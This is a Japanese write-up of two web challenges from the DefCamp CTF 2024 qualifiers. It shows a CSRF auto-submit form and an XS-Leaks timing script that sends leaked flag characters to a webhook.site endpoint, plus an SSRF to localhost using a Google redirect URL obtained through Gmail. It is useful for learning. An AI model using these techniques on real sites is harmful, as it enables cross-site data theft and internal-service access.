DefCamp CTF 2024 Quals writeup!

# はじめに

2024/9/27～9/29のDefCamp CTF 2024 Qualsに参加しました。

https://dctf24-quals.cyber-edu.co/

Kunoicheese というチームで54位でした🎉 正答数少な目の問題も解けて嬉しかったのでwriteupを書きます。

今回、Web問題の半分はソースコードなしの問題でした。いつもソースコードをもらえる問題ばかりなので久しぶりだったような気がする……。そしてもう1問くらい解きたかった……

# [Web] reelfreaks (370pts)

> Some things are better to remain unseen. Unless, of course, you are a real freak.
> NOTE: the website is served over HTTPS
> Flag format: DCTF{}
> 

ソースコードあり。ログイン（アカウントも作成可能）すると映画一覧？が表示されるWebサイトで、ウォッチリストにそれぞれの映画を登録することができる。
botがおり、ログイン動作後に `"https://127.0.0.1" + [報告フォームから送信した値]` へアクセスしてくれるよう。

flagがどこにあるのかと `DCTF` でソースを検索してみたが見つからず……とりあえずアカウントを作成して動きを確認していたところ、映画一覧に `id=30` のみ表示されていないことに気が付いた。
ソースを見るとどうやら `banned=True` の映画はbotにしか表示されないらしいので、それだろう。ということは `id=30` のタイトルを見ればいいのかとアタリを付けた。
（他の方のwriteupを見ると配布ファイルのうちdb.sqliteを見ればよかったらしい。でも検索できないのでソースコードで分かるようにしてほしい……）

## botの挙動について

以下のとおり、 `/report` に送るとbotが動くようになっている。

```python: main.py(抜粋)
@main.route('/report', methods=['POST'])
@login_required
def report():
    url = "https://127.0.0.1" + request.form.get('movie')
    thread = threading.Thread(target=visit,args=(url,))
    thread.start()
    return 'OK'
```

```python: bot.py
from playwright.sync_api import sync_playwright
import os

def visit(url):
    with sync_playwright() as p:
        browser = p.chromium.launch(
            headless=True,
            args=[
                '--ignore-ssl-errors=yes',
                '--ignore-certificate-errors',
                '--start-maximized',
                '--disable-infobars',
                '--disable-extensions',
                '--disable-gpu',
                '--no-sandbox'
            ]
        )
        page = browser.new_page()
        page.goto("https://127.0.0.1:5000/login")

        page.fill("#username", os.getenv("ADMIN_USER") or 'admin')
        page.fill("#password", os.getenv("ADMIN_PASS") or 'admin')

        page.click("#submit")

        page.goto(url,wait_until="networkidle",timeout=60000)

        browser.close()
```

アクセス先のURLは冒頭 `https://127.0.0.1` が指定されているが、これはバイパス可能。 例えば `movie=@example.com` を送信すると、 `https://127.0.0.1@example.com` と `127.0.0.1` がbasic認証の認証情報扱いになるので `https://example.com` へアクセスが飛ぶ。

また、今回のサイトはiframeで読み込めることも確認できたので、例えば自分のサイトにアクセスさせてiframeでログイン後画面を読み込んでなんかするみたいなことはできそう。

## どうやって映画タイトルを取得するか

コードを見た限りではXSSなどができそうな部分は見つからず、であればxs-leaks問題……？とXS-Leaks wikiなるサイトと見比べつつ探してみた。

https://xsleaks.dev/

問題サイトのウォッチリスト画面には検索フォームが付いており、また各映画は重めのgif画像+映画タイトルのカードが表示されるようになっている。この画像いるか？と思っていたが、画像によって映画が表示されている場合と表示されていない場合に応答時間差が発生するのでは？と気が付いた。
つまり、ウォッチリストに `id=30` が登録されているとき、以下のように1文字ずつタイトルを調べられそうな気がする。

- `/watchlist?q=DCTF{` にアクセス：映画が検索にヒットするので画像が読み込まれ、読み込みに時間がかかる
- `/watchlist?q=DCTFx` にアクセス：映画が検索にヒットしないため読み込みがすぐ終わる

XS-Leaks wikiより、 `performance.now()` というのを使うと精度高めの時間測定ができるらしい。ということで、① `id=30` の映画をbotのウォッチリストに登録する ②タイトルを1文字ずつ取得する　という流れを踏むことにした。

## ① `id=30` の映画をbotのウォッチリストに登録する

以下のhtmlを書いたサイトにアクセスさせるだけ。今回はサーバ代わりに [webhook.site](http://webhook.site) を使っている。
※botは最初から`id=30`をウォッチリストに登録しているらしく、これは必要なかった説がある

```html
<body onload="document.forms[0].submit()">
    <form action="https://127.0.0.1:5000/add_movie" method="POST">
        <input type="text" name="movie_id" value="30">
        <input type="submit" value="Submit">
    </form>
</body>
```

## ②タイトルを1文字ずつ取得する

iframeで映画検索時の画面を読み込み、その応答時間を測るという方法を取る。
何度か試したところ、100ms 辺りに閾値を設定すると2, 3個引っ掛かるので、一番長かったものを正とすることにした。
本当はすべて自動化できれば良かったのだが、結局正解っぽい文字を手動で下記 `flag` 文字列に追加していくというめんどくさいことをしていた。以下がn文字目を見つけるときのhtml。

```html
<body>
    <script>
        var flag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry';  // 手動で1文字ずつ追加した
        var chars = 'abcdefghijklmnopqrstuvwxyz0123456789}';  // _は絶対に応答が遅くなってしまう？ので入れていない。どの文字も応答差がなかった場合は _ をflagに追加する
        var char_m = 'A';
        var time_m = 0;

        function createIframe(index) {
            if (index >= chars.length) {
                //fetch(`https://webhook.site/[my_webhook_url]?char=${char_m}&time=${time_m}`);
                return;
            }

            var iframe = document.createElement('iframe');
            iframe.src = `https://127.0.0.1:5000/watchlist?q=${flag}${chars[index]}`;
            iframe.sandbox = "";
            document.body.appendChild(iframe);

            var start = performance.now();
            iframe.onload = () => {
                var time = performance.now() - start;
                if (time > 100) {  // 雰囲気。1～3つくらい返ってくる
                    fetch(`https://webhook.site/[my_webhook_url]?char=${chars[index]}&time=${time}`);
                }
                if (time > time_m) {
                    time_m = time;
                    char_m = chars[index];
                }
                document.body.removeChild(iframe);
                fetch("https://www.google.com");  // botがwait_until="networkidle"なせいか途中で止まってしまう（閉じられてしまう？）ので適当なリクエストを突っ込んだ
                createIframe(index + 1);
            };
        }
        createIframe(0);
    </script>
</body>

```

最終的に、無事flagを得ることができた。（これが想定解ならできればflagの文字種を教えてほしかったな……という気持ち）

```
DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/2bbd6494-f6ef-c172-d323-eb07238f179d.png)

6番目だったので嬉しくてスクショした図。この問題、記憶が正しければ最初はeasyだった気がする……webで一番回答数少なかったのに……？？
なお先日はIERAE CTFにも参加しており、そちらのxs-leaks問に取り組んだはいいものの時間が足りず解けなかったので今回解けて嬉しかった。多分初めてxs-leaks問を解ききれたと思う。happy

# [Web] noogle (170pts)

> Last week I decided to create my own search engine. It was kinda hard so i piggybacked on another one. I also tried something on port 8000.
Flag format: CTF{sha256}
> 

ソースコードなし。Googleっぽい謎の検索サイトで、キーワードを入力すると雑に検索結果を表示してくれる。
検索時はAPIを叩いているようで、以下のようなリクエスト/レスポンスだった。

```: request
POST /api/getLinks HTTP/1.1
Host: 34.159.103.1:32200
Content-Length: 46
Accept-Language: ja
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://34.159.103.1:32200
Referer: http://34.159.103.1:32200/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"url":"https://www.google.com/search?q=test"}
```

```: response
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.9.19
Date: Sun, 29 Sep 2024 01:58:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 59029
Connection: close

<!doctype html><html lang="de"><head><meta charset="UTF-8"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>test - Google Suche</title><script nonce="4aR0YxwQjRrq_92mnqYwzw">
[略 google検索結果]
```

googleの検索結果がそのまま返ってきているようなので、送信したURLに問題サーバからアクセスしていると思われる。問題文から `localhost:8000` がゴールということで、SSRFを試みる。

いろいろ試したが、 `url` 冒頭は `https://www.google.com/` からはじまらないといけないようだった。これをバイパスするのは難しそう。
バイパスができないのであれば`https://www.google.com/` 以下にオープンリダイレクタでもあるのではとググるもよいものが見つからず……。ふと「googleにオープンリダイレクタがあるのなら過去にもCTFに使われたことがあるのでは……？」と思いつき、writeupを探す方向にシフトしたところ、予想通り同じテーマの問題を探し当てることができた。

https://vicevirus.github.io/posts/report-google-wgmy-2023/

このwriteupによると、リダイレクタとしては2種類あるとのこと。

- `https://www.google.com/amp/example.com`
    - `https://example.com` にリダイレクトする（httpsの部分は変えられない）
    - 今回は `http://localhost:8000` に行きたかったので、うまくいかず
- `https://www.google.com/url?q=http://example.com&sa=u&udg=xxxx&udt=yyyy`
    - google検索結果などのリンク
    - `usg` `ust`を自力で導出するのは不可能っぽい（`/url`は一度見つけていたものの、このパラメータのせいで不採用にしていた）
    - gmailで受信したメールのリンクも `https://www.google.com/url?~` になるので、欲しいURLへのリンクが書かれたメールをgmailで開くと正規のURLを手に入れられる（！！）

後者の方法を採用し、自分のgmailに `http://localhost:8000` へのリンクを追加したメールを送ると確かにURLが生成されていた。これを送り付けるとflagが返ってきた。

```
POST /api/getLinks HTTP/1.1
Host: 35.242.202.11:32361
Content-Length: 128
Content-Type: application/json

{"url":"https://www.google.com/url?q=http://localhost:8000/&source=gmail&ust=[一応mask]&usg=[一応mask]"}
```

```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.9.19
Date: Sun, 29 Sep 2024 08:41:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69
Connection: close

CTF{9cf16d163cbaecc592ca40bee3de4b1626ee0f4a3b3db23cbd5ad921049ebc0f}
```

余談だが、上記writeup内にあるSANSの記事いわく、実際の悪用事例も確認されているようだがgoogleとしては脆弱性ではないという見解らしい（2015年の記事だが）。やはり「悪性サイトか見分けるにはドメインを見ましょう！」というのは良くないな……と再認識するなどした。

https://isc.sans.edu/diary/How+Malware+Campaigns+Employ+Google+Redirects+and+Analytics/19843